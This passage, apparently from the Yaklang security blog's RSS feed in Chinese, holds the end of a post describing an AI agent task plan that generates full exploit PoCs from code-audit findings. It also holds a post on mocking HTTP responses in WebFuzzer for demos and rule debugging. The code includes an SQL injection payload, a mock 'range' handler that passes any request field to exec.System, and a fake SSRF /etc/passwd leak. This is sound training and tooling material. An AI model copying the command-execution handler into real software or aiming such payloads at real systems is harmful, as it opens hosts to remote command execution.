style="color:#e3116c">"如果项目源码可访问(非内存模式)且需要更多上下文信息，使用ssa-list-files列出项目文件结构，使用ssa-grep搜索相关代码（如路由定义、配置文件、相关类等），使用ssa-read-file读取关键文件内容。这一步可以帮助理解完整的数据流和API结构。"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"漏洞类型分类与攻击向量分析"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"基于可行性评估结果，对确认可以生成POC的风险进行详细分类，识别具体的漏洞类型（如SQL注入、XSS、RCE、反序列化、文件包含、SSRF等），分析漏洞的利用原理、攻击向量、所需参数和条件。结合SSA分析结果中的数据流路径，确定POC的实现思路和技术路线。这一步不要生成 Markdown 报告"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"Python POC模板搜索与获取"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"使用poc_template_searcher工具根据识别的漏洞类型和攻击向量，搜索和获取相应的Python POC模板。模板包括请求构造、参数处理、响应解析、结果判断等通用代码结构，为POC生成提供代码框架参考。优先选择与目标编程语言和漏洞类型最匹配的模板。 - 不要主动输出文件， 最终的POC会嵌入到生成文档中"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"目标API端点URL和参数信息分析"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"通过已有信息或是通过ssa相关工具你能获取项目的结构，读取漏洞所在位置的上下文代码目录结构等信息。你应该提取目标应用的关键信息，包括：1）API端点和路由信息（从注解如@RequestMapping、@GetMapping等提取），但对于某些简单的项目场景也可能是通过目录结构和文件位置直接访问，例如PHP项目没有实现路由框架的情况下直接请求对应php脚本文件即可；2）POC请求中的参数和数据类型；3）认证和授权机制，端点是否存在访问控制需要Cookie；4）框架类型（如Spring、JAX-RS等）。这些信息将用于生成更精确和可执行的POC代码。- 不要主动输出文件， 最终的POC会嵌入到生成文档中"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"使用专注模式生成Python POC代码"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"根据前面收集的漏洞信息、API端点、攻击向量等信息，生成完整的Python POC代码。你需要输出 `{\"@action\": \"python_poc\", \"human_readable_thought\": \"根据漏洞分析结果生成Python POC代码\"}` 进入python_poc专注模式。在专注模式中使用write_python_poc创建POC文件，如有语法错误使用modify_python_poc修复。POC代码必须：1）语法正确，可以通过Python解释器验证；2）包含完整的漏洞检测和利用逻辑；3）使用规范的代码结构（类封装、异常处理、文档字符串）；4）包含使用说明和免责声明。"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_name"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"根据已有信息输出包含Python POC的MarkDown报告"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token string-literal string" style="color:#e3116c">"subtask_goal"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"基于已有信息生成包含Python POC的MarkDown报告，报告必须包含前一步生成的Python POC代码。MarkDown报告应该以文件的形式被写入到用户指定的save_path中，你应该调用工具来写文件。报告内容包括：1）漏洞概述；2）影响范围；3）完整的Python POC代码（从专注模式生成的代码）；4）使用说明；5）修复建议；6）免责声明。当生成 MarkDown 文件内容时：不要对换行符进行转义，不要使用 `\\n` 形式，必须使用真实的多行文本，content 字段必须是原始 Markdown。报告使用简体中文，对于某些专业术语可以使用对应英文单词"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>对应前端展示的任务树：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e832d36a5b0e4385-318a9caef47587d1a5aac64ce294ec6b.png" width="277" height="657" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="阶段一信息收集">【阶段一】信息收集<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E9%98%B6%E6%AE%B5%E4%B8%80%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86" class="hash-link" aria-label="【阶段一】信息收集的直接链接" title="【阶段一】信息收集的直接链接" translate="no">​</a></h4>

























<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>子任务</th><th>目标</th><th>关键工具</th></tr></thead><tbody><tr><td>SSA风险信息获取</td><td>获取漏洞类型、代码位置、数据流路径</td><td>ssa-risk</td></tr><tr><td>项目源码可用性检查</td><td>判断源码访问方式（数据库/本地文件系统）</td><td>ssa-project-info</td></tr><tr><td>源码上下文获取</td><td>提取 API 注解、函数签名等技术细节</td><td>ssa-risk (get_full_code=true)</td></tr></tbody></table></div></div>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="阶段二可行性评估系统根据风险类型自动判断是否适合生成-poc">【阶段二】可行性评估系统根据风险类型自动判断是否适合生成 PoC<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E9%98%B6%E6%AE%B5%E4%BA%8C%E5%8F%AF%E8%A1%8C%E6%80%A7%E8%AF%84%E4%BC%B0%E7%B3%BB%E7%BB%9F%E6%A0%B9%E6%8D%AE%E9%A3%8E%E9%99%A9%E7%B1%BB%E5%9E%8B%E8%87%AA%E5%8A%A8%E5%88%A4%E6%96%AD%E6%98%AF%E5%90%A6%E9%80%82%E5%90%88%E7%94%9F%E6%88%90-poc" class="hash-link" aria-label="【阶段二】可行性评估系统根据风险类型自动判断是否适合生成 PoC的直接链接" title="【阶段二】可行性评估系统根据风险类型自动判断是否适合生成 PoC的直接链接" translate="no">​</a></h4>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="适合生成-poc-的漏洞类型包括">适合生成 PoC 的漏洞类型包括：<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E9%80%82%E5%90%88%E7%94%9F%E6%88%90-poc-%E7%9A%84%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B%E5%8C%85%E6%8B%AC" class="hash-link" aria-label="适合生成 PoC 的漏洞类型包括：的直接链接" title="适合生成 PoC 的漏洞类型包括：的直接链接" translate="no">​</a></h4>
<ul>
<li class="">注入类：SQL注入、命令注入、代码注入、LDAP注入</li>
<li class="">跨站攻击：XSS（反射型、存储型、DOM型）、CSRF</li>
<li class="">文件操作：文件包含（LFI/RFI）、路径遍历、任意文件读写</li>
<li class="">反序列化：Java/Python/PHP 反序列化漏洞</li>
<li class="">服务端请求伪造：SSRF、XXE</li>
</ul>
<p>不适合生成 PoC 的风险类型（代码质量问题）：</p>
<ul>
<li class="">资源未关闭、内存泄漏、死代码</li>
<li class="">弱密码、默认配置等合规性问题</li>
<li class="">性能问题、代码可维护性问题</li>
</ul>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="阶段三poc-生成当可行性评估通过后ai-进入-python_poc-专注模式启动-react-循环进行代码生成">【阶段三】PoC 生成当可行性评估通过后，AI 进入 python_poc 专注模式，启动 ReAct 循环进行代码生成。<a href="https://yaklang.com/blog/irify-code-audit-report-generation#%E9%98%B6%E6%AE%B5%E4%B8%89poc-%E7%94%9F%E6%88%90%E5%BD%93%E5%8F%AF%E8%A1%8C%E6%80%A7%E8%AF%84%E4%BC%B0%E9%80%9A%E8%BF%87%E5%90%8Eai-%E8%BF%9B%E5%85%A5-python_poc-%E4%B8%93%E6%B3%A8%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8-react-%E5%BE%AA%E7%8E%AF%E8%BF%9B%E8%A1%8C%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90" class="hash-link" aria-label="【阶段三】PoC 生成当可行性评估通过后，AI 进入 python_poc 专注模式，启动 ReAct 循环进行代码生成。的直接链接" title="【阶段三】PoC 生成当可行性评估通过后，AI 进入 python_poc 专注模式，启动 ReAct 循环进行代码生成。的直接链接" translate="no">​</a></h4>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/H0vW2aju9F4rPHXZVBh67Q" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
        </item>
        <item>
            <title><![CDATA[工程实践：Mock 热加载从 Web Fuzzer 到模板调试全链路]]></title>
            <link>https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging</link>
            <guid>https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging</guid>
            <pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[在上一篇文章中，我们介绍了 mockHTTPRequest 热加载函数在 MITM 代理场景下的应用——通过完全控制响应来实现“无污染”的客户端测试。今天，我们将这一能力进一步延伸到两个关键场景：]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>在上一篇文章中，我们介绍了 mockHTTPRequest 热加载函数在 MITM 代理场景下的应用——通过完全控制响应来实现“无污染”的客户端测试。今天，我们将这一能力进一步延伸到两个关键场景：</p>
<p>WebFuzzer 中的 Mock 响应：用于漏洞场景模拟、复现与演示</p>
<p>模板代码调试中的模拟响应：便于本地调试匹配器和提取器</p>
<p>这两个新特性共同解决了一个核心痛点：在没有真实漏洞环境的情况下，如何高效地编写、调试和演示安全检测规则？</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="webfuzzer-中的-mock-响应漏洞场景模拟与复现">WebFuzzer 中的 Mock 响应：漏洞场景模拟与复现<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#webfuzzer-%E4%B8%AD%E7%9A%84-mock-%E5%93%8D%E5%BA%94%E6%BC%8F%E6%B4%9E%E5%9C%BA%E6%99%AF%E6%A8%A1%E6%8B%9F%E4%B8%8E%E5%A4%8D%E7%8E%B0" class="hash-link" aria-label="WebFuzzer 中的 Mock 响应：漏洞场景模拟与复现的直接链接" title="WebFuzzer 中的 Mock 响应：漏洞场景模拟与复现的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="使用场景">使用场景<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E4%BD%BF%E7%94%A8%E5%9C%BA%E6%99%AF" class="hash-link" aria-label="使用场景的直接链接" title="使用场景的直接链接" translate="no">​</a></h2>
<p>在日常工作中，我们经常遇到以下困境：</p>
<ul>
<li class=""><strong>漏洞难以复现</strong>：某些漏洞依赖特定的环境配置、时间窗口或竞态条件，不易稳定复现；</li>
<li class=""><strong>演示环境受限</strong>：在客户演示或培训场景中，无法直接展示对真实系统的攻击；</li>
<li class=""><strong>匹配器调试困难</strong>：编写响应包匹配规则时，需要反复触发真实请求，效率低下，对目标系统造成影响。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="工作原理">工作原理<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86" class="hash-link" aria-label="工作原理的直接链接" title="工作原理的直接链接" translate="no">​</a></h2>
<p>当你在 WebFuzzer 的热加载代码中定义 <code>mockHTTPRequest</code> 函数后，每次 Fuzzer 发送请求时都会先经过这个 hook：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/776ff0f5c1dc35a9-4b8eff2abc75ab67f98c2061b4bc57ce.png" width="1080" height="646" class="yakdoc-image"></button></p>
<p>在底层实现中，当 <code>mockHTTPRequest</code> 被调用并产生模拟响应时，系统会完全跳过真实的 HTTP 请求。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="典型应用漏洞演示与教学">典型应用：漏洞演示与教学<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E5%85%B8%E5%9E%8B%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E6%BC%94%E7%A4%BA%E4%B8%8E%E6%95%99%E5%AD%A6" class="hash-link" aria-label="典型应用：漏洞演示与教学的直接链接" title="典型应用：漏洞演示与教学的直接链接" translate="no">​</a></h2>
<p>假设我们需要演示一个 SQL 注入漏洞的检测过程，但手头没有可用的漏洞环境。我们可以在 webfuzzer 热加载中添加 mockHTTPRequest 代码：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">mockHTTPRequest = func(isHttps, url, req, mockResponse) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 模拟一个存在 SQL 注入的登录接口</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if str.Contains(url, "/api/login") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        // 检查是否包含注入 payload</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        if str.Contains(string(req), "' OR '1'='1") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            // 模拟注入成功的响应</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            successResponse = `HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Access-Control-Allow-Origin: *</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"success":true,"message":"登录成功","user":{"id":1,"role":"admin","username":"admin"}}`</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            mockResponse(successResponse)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            return</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        // 正常登录失败</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        failResponse = `HTTP/1.1 401 Unauthorized</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"success":false,"message":"用户名或密码错误"}`</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        mockResponse(failResponse)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1ed36beb55c43a61-8beec6f83f141b953a7bfda83f6ba818.png" width="1080" height="127" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/2ba7c0e77f57c98f-ab41c1fa14a07a7ed613892a386efbc6.png" width="1080" height="125" class="yakdoc-image"></button></p>
<p>现在，在 WebFuzzer 中发送带有 SQL 注入 payload 的请求，UI 会显示"成功"的响应——就像真的存在漏洞一样。</p>
<p>可以用于以下场景：</p>
<ul>
<li class="">安全培训和教学</li>
<li class="">客户演示（展示检测能力而非实际攻击）</li>
<li class="">编写和调试匹配器规则</li>
</ul>
<p>都极为有用。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="进阶应用构建虚拟漏洞靶场">进阶应用：构建虚拟漏洞靶场<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E8%BF%9B%E9%98%B6%E5%BA%94%E7%94%A8%E6%9E%84%E5%BB%BA%E8%99%9A%E6%8B%9F%E6%BC%8F%E6%B4%9E%E9%9D%B6%E5%9C%BA" class="hash-link" aria-label="进阶应用：构建虚拟漏洞靶场的直接链接" title="进阶应用：构建虚拟漏洞靶场的直接链接" translate="no">​</a></h2>
<p>你甚至可以用 Mock 构建一个完整的"虚拟靶场"：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">mockHTTPRequest = func(isHttps, url, req, mockResponse) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    reqStr = string(req)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 漏洞1：真实环境命令执行</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if str.Contains(url, "/api/exec") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        body = poc.GetHTTPPacketBody(req)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        cmd = json.loads(body)['cmd']</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        println(cmd)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        res = exec.System(cmd)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        response = `HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: text/plain</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">` + string(res)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        mockResponse(response)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        return</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 漏洞2：信息泄露</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if str.Contains(url, "/.git/config") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        response = `HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: text/plain</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">[core]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    repositoryformatversion = 0</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    filemode = true</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">[remote "origin"]</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    url = git@github.com:company/internal-project.git`</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        mockResponse(response)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        return</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 漏洞3：SSRF</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if str.Contains(url, "/api/fetch") &amp;&amp; str.Contains(reqStr, "127.0.0.1") {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        response = `HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"status":"success","content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}`</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        mockResponse(response)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        return</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    // 默认：返回正常页面</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="模板代码调试支持模拟响应的本地调试">模板代码调试：支持模拟响应的本地调试<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E6%A8%A1%E6%9D%BF%E4%BB%A3%E7%A0%81%E8%B0%83%E8%AF%95%E6%94%AF%E6%8C%81%E6%A8%A1%E6%8B%9F%E5%93%8D%E5%BA%94%E7%9A%84%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95" class="hash-link" aria-label="模板代码调试：支持模拟响应的本地调试的直接链接" title="模板代码调试：支持模拟响应的本地调试的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题背景">问题背景<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E9%97%AE%E9%A2%98%E8%83%8C%E6%99%AF" class="hash-link" aria-label="问题背景的直接链接" title="问题背景的直接链接" translate="no">​</a></h2>
<p>在编写 Yaml 风格的检测模板时，我们经常需要：</p>
<p>1、先构思匹配规则（matchers）和数据提取器（extractors）</p>
<p>2、然后反复发送请求来验证规则是否正确</p>
<p>3、如果不正确，修改规则后再次发送请求……</p>
<p>这个循环存在几个问题：</p>
<ul>
<li class=""><strong>依赖真实目标</strong>：需要有可用的测试环境，想调代码需要先启动靶场</li>
<li class=""><strong>效率低下</strong>：每次验证都要发真实请求，可能由于网络问题造成每次测试都花费很多时间</li>
<li class=""><strong>结果不可控</strong>：服务端响应可能变化</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="解决方案模拟响应">解决方案：模拟响应<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E6%A8%A1%E6%8B%9F%E5%93%8D%E5%BA%94" class="hash-link" aria-label="解决方案：模拟响应的直接链接" title="解决方案：模拟响应的直接链接" translate="no">​</a></h2>
<p>现在，WebFuzzer 支持将匹配器和提取器导出为模板代码，并且在模板调试过程中支持传入<strong>模拟响应</strong>。这个模拟响应会在模板执行时完全替代真实的 HTTP 请求。</p>
<p><strong>核心流程：</strong></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/76d12ee4536b9406-53182c60c9a6f54e5fb63745952b2417.png" width="1080" height="646" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="使用方式">使用方式<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F" class="hash-link" aria-label="使用方式的直接链接" title="使用方式的直接链接" translate="no">​</a></h2>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="步骤一在-webfuzzer-中配置匹配器">步骤一：在 WebFuzzer 中配置匹配器<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E6%AD%A5%E9%AA%A4%E4%B8%80%E5%9C%A8-webfuzzer-%E4%B8%AD%E9%85%8D%E7%BD%AE%E5%8C%B9%E9%85%8D%E5%99%A8" class="hash-link" aria-label="步骤一：在 WebFuzzer 中配置匹配器的直接链接" title="步骤一：在 WebFuzzer 中配置匹配器的直接链接" translate="no">​</a></h3>
<p>假设我们要检测一个返回用户信息的 API 是否存在敏感信息泄露：</p>
<p><strong>匹配器配置：</strong></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/65701bffbe3e92e4-a1070bb33f77525cf5a4e4d7e1d3f53a.png" width="749" height="297" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="步骤二导出为-yaml-模板">步骤二：导出为 YAML 模板<a href="https://yaklang.com/blog/mock-hot-reload-from-web-fuzzer-to-template-debugging#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%AF%BC%E5%87%BA%E4%B8%BA-yaml-%E6%A8%A1%E6%9D%BF" class="hash-link" aria-label="步骤二：导出为 YAML 模板的直接链接" title="步骤二：导出为 YAML 模板的直接链接" translate="no">​</a></h3>
<p>点击"导出模板"后，会生成类似以下的 YAML：</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">id: WebFuzzer-Template-FjBpUiDb</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">info:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  name: WebFuzzer Template FjBpUiDb</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  severity: low</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  description: write your description here</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  reference:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - https://github.com/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  - https://cve.mitre.org/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  metadata:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    max-request: 1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    shodan-query: ""</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    verified: true</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  yakit-info:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sign: a47e000c5fc61a12b66f0af17c22b9cc</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">http:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">- 